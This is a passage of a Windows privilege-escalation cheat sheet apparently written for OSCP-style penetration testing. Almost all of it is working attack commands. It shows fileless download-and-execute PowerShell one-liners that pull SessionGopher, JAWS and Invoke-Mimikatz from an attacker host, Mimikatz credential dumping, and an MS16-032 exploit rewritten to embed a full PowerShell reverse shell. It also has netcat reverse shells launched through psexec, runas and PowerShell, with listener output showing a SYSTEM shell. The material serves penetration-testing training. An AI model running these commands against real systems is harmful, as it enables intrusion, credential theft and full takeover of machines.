CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Sherlock.ps1'))"
Or from a Windows Powershell:
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Sherlock.ps1')
Running Watson
Sherlock has been superceded by a .net Windows enumeration platform called Watson which is frequently updated by the author.
It is a bit tricker to deploy and use as you need to compile it yourself and match the version of .net with the target system’s version.
First, on the target system we will need to check the versions of .Net that have been installed by navigating to the .net framework folder and poking around:
cd\Windows\Microsoft.NET\Framework\
dir /s msbuild
Only active versions of .NET will have the msbuild.exe.
Make note of the available versions and leverage that to compile your version of Watson that targets the remote Windows machine.
Download the latest version of Watson from github:
git clone https://github.com/rasta-mouse/Watson.git
And open it using Visual Studio. In the Solution Explorer, click the Properties and modify the «Target Framework:» value to align with the remote Windows machine’s version of the .Net framework. It will prompt you to reopen the project. Once the project has reloaded, Build the project under the Release mode (CTRL + SHIFT + B).
Next we will copy our Watson.exe to our Kali instance and setup a simple python HTTP webserver in Kali to host the file which the remote Windows box can download it from:
root@kali:~/tools# cd Watson/ root@kali:~/tools/Watson# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
Now we will need to transfer the compiled Watson.exe file to our remote windows box:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/Watson.exe\", \"C:\\Users\\Public\\Downloads\\Watson.exe\");
And now we run the executeable on the remote machine. I like run with all the audit enabled like so:
C:\Users\Admin>cd ..
C:\Users>cd Public
C:\Users\Public>cd Downloads
C:\Users\Public\Downloads>Watson.exe
Running JAWS — Just Another Windows (Enum) Script
JAWS is another powershell library that was built with privledge escalation of the OSCP lab machines in mind.
We can stage and run JAWS on a remote http server so the file never needs to hit the remote server’s HDD.
root@kali:~test# git clone https://github.com/411Hall/JAWS
Now we can run this from the remote Windows CMD shell:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/jaws-enum.ps1'))"
Or from a Windows Powershell:
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/jaws-enum.ps1')
And we should see the following output start to appear:
Running J.A.W.S. Enumeration
- Gathering User Information
- Gathering Processes, Services and Scheduled Tasks
- Gathering Installed Software
Fireeye Session Gopher
Leveraging credentials is still the most common ways of privledge escalation in Windows environments. Session Gopher is a PowerShell script designed to automaticlly harvest credentials from commonly used applications.
To run Session Gopher, we will first need to pull down the latest version from the Fireeye github repository:
git clone https://github.com/fireeye/SessionGopher
Cloning into 'SessionGopher'...
remote: Enumerating objects: 48, done.
Unpacking objects: 100% (48/48), done.
remote: Total 48 (delta 0), reused 0 (delta 0), pack-reused 48
Next we can serve it up on our local KALI instance by using the simple python HTTP server:
root@kali:~/tools# cd SessionGopher/
root@kali:~/tools/SessionGopher# ls
README.md SessionGopher.ps1
root@kali:~/tools/SessionGopher# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Finally we can file-lessly execute it from our remote Windows shell:
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"
Or from a Windows Powershell:
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/SessionGopher.ps1')
Or we can download and run it:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/SessionGopher.ps1\", \"C:\\Users\\Public\\Downloads\\SessionGopher.ps1\"); CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "& { . .\SessionGopher.ps1; Invoke-SessionGopher -Thorough}"
Running Mimikatz
Mimikatz is a Windows post-exploitation tool written by Benjamin Delpy (@gentilkiwi). It allows for the extraction of plaintext credentials from memory, password hashes from local SAM/NTDS.dit databases, advanced Kerberos functionality, and more.
https://github.com/gentilkiwi/mimikatz
Running traditional (binary) Mimikatz
The original and most frequently updated version of Mimikatz is the binary executable which can be found here:
https://github.com/gentilkiwi/mimikatz/releases
First we will need to download a Mimikatz binary and copy it to the remote machine
root@kali:~/test# wget https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925/mimikatz_trunk.zip
--2018-10-16 15:14:49-- https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180925/mimikatz_trunk.zip
root@kali:~/test# unzip mimikatz_trunk.zip
Now we will need to copy the 3 files (win32 or x64 depending on the OS) required to run Mimikatz to the remote server.
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/mimikatz.exe\", \"C:\\Users\\Public\\Downloads\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://10.10.10.10/mimilib.dll\", \"C:\\Users\\Public\\Downloads\\mimilib.dll\")"
Now, if we dont have an overly interactive shell, we will want to execute Mimikatz without the built in CLI by passing the correct parameters to the executable. We use the log parameter to also log the clear password results to a file (just in case we are unable to see the output).
mimikatz log version "sekurlsa::logonpasswords" exit
Otherwise we can use the Mimikatz shell to get the passwords:
mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Running Powershell Mimikatz
The Powershell version is not as frequently updated, but can be loaded into memory without ever hitting the HDD (Fileless execution). This version simply reflectively loads the Mimikatz binary into memory so we could probably update it ourselves without much difficulty.
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1
Fileless execution of Mimikatz from remotely hosted server:
PS C:\> IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
Windows Kernel Exploits
MS16-032
If the remote machine appears to be vulnerable to MS16-032, we can execute a powershell script from a remote server to exploit it.
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Get the Powershell script from FuzzySecurity’s Github, add an invoke to the end of the script and share the folder using the python SimpleHTTPServer:
root@kali:~test# git clone https://github.com/FuzzySecurity/PowerShell-Suite.git
Cloning into 'PowerShell-Suite'...
remote: Enumerating objects: 378, done.
remote: Total 378 (delta 0), reused 0 (delta 0), pack-reused 378
Receiving objects: 100% (378/378), 5.94 MiB | 2.06 MiB/s, done.
Resolving deltas: 100% (179/179), done.
root@kali:~test# cd PowerShell-Suite/
root@kali:~test/PowerShell-Suite# echo Invoke-MS16-032 >> Invoke-MS16-032.ps1
root@kali:~test/PowerShell-Suite# python -m Simple
SimpleDialog SimpleHTTPServer SimpleXMLRPCServer
root@kali:~test/PowerShell-Suite# python -m SimpleHTTPServer 80
The default version of the MS16-032 script will create a Pop-up CMD.exe window on the remote machine. Unfortunatly, we cannot access this from a limited shell… BUT we can modify the exploit to call a reverse shell. Its pretty easy to modify it to call a reverse powershell that will connect back to our machine with a System shell. We will need to modify line 330 of the exploit (the ip address and port will need to be updated of course):
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED #$CallResult = [Advapi32]::CreateProcessWithLogonW( # "user", "domain", "pass", # 0x00000002, "C:\Windows\System32\cmd.exe", "", # 0x00000004, $null, $GetCurrentPath, # [ref]$StartupInfo, [ref]$ProcessInfo) # Modified to create a Powershell reverse shell $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe', '-NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$client = New-Object System.Net.Sockets.TCPClient(\"10.10.10.10\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"^> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"', 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo)
On the remote host execute the exploit:
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.10.10.10/Invoke-MS16-032.ps1'))"
Or from a Windows Powershell:
PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.10.10/Invoke-MS16-032.ps1')
Or if you wanted to upload the exploit, you can always run it like this:
PS C:\> powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
On our Kali machine we create the reverse shell and … BOOM! Root dance.
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.10] 49182
PS C:\Users\jimmy^> whoami
nt authority\system
Windows Run As
Prior to successfully performing a Windows run as, we of course need a valid windows username and password.
Here is a oneliner powershell script to verify a username / password is valid on the local system:
Requires .Net 3.5
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = '<username here>'; $password = '<password here>'; $computer = $env:COMPUTERNAME; Add-Type -AssemblyName System.DirectoryServices.AccountManagement; $obj = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('machine',$computer); $obj.ValidateCredentials($username, $password); }"
Requires .Net 2.0
CMD C:\> @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "&{$username = '<username here>'; $password = '<password here>'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Start-Process -FilePath C:\Windows\System32\calc.exe -NoNewWindow -Credential $credential; }"
Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.
Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).
C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com
Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:
C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" Enter the password for Test: Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.
$username = '<username here>' $password = '<password here>' $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
Next run this script using powershell.exe:
CMD C:\> powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
Other files
Here are few other handy scripts and things…
Capture a screen shot
The following powershell commands can be used to capture a screen shot of the remote computers desktop and store it as a BMP file.
Add-Type -AssemblyName System.Windows.Forms Add-type -AssemblyName System.Drawing $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen $bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height $graphic = [System.Drawing.Graphics]::FromImage($bitmap) $graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size) $bitmap.Save('screen1.bmp')
If you are on CMD you can use this handy one-liner to execute the same powershell command
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms; Add-type -AssemblyName System.Drawing; $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen; $bitmap = New-Object System.Drawing.Bitmap $Screen.Width, $Screen.Height; $graphic = [System.Drawing.Graphics]::FromImage($bitmap); $graphic.CopyFromScreen($Screen.Left, $Screen.Top, 0, 0, $bitmap.Size); $bitmap.Save('screen1.bmp')"
CopyAndPasteFileDownloader.bat
Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line)
CopyAndPasteEnum.bat
No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial).
Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report
enumeration.md
Basic notes on Windows Enumeration from the OSCP.
windows_recon.bat
An uploadable batch file for performing basic windows enumeration.
References
https://medium.com/@hakluke
https://daya.blog/2018/01/06/windows-privilege-escalation/
https://pentestlab.blog/2017/04/19/stored-credentials/
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://www.abatchy.com/
https://gist.github.com/egre55
https://github.com/egre55/ultimate-file-transfer-list
https://lolbas-project.github.io/
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/GhostPack/Seatbelt
https://github.com/rasta-mouse/Watson
http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html
https://blog.ropnop.com/transferring-files-from-kali-to-windows/#smb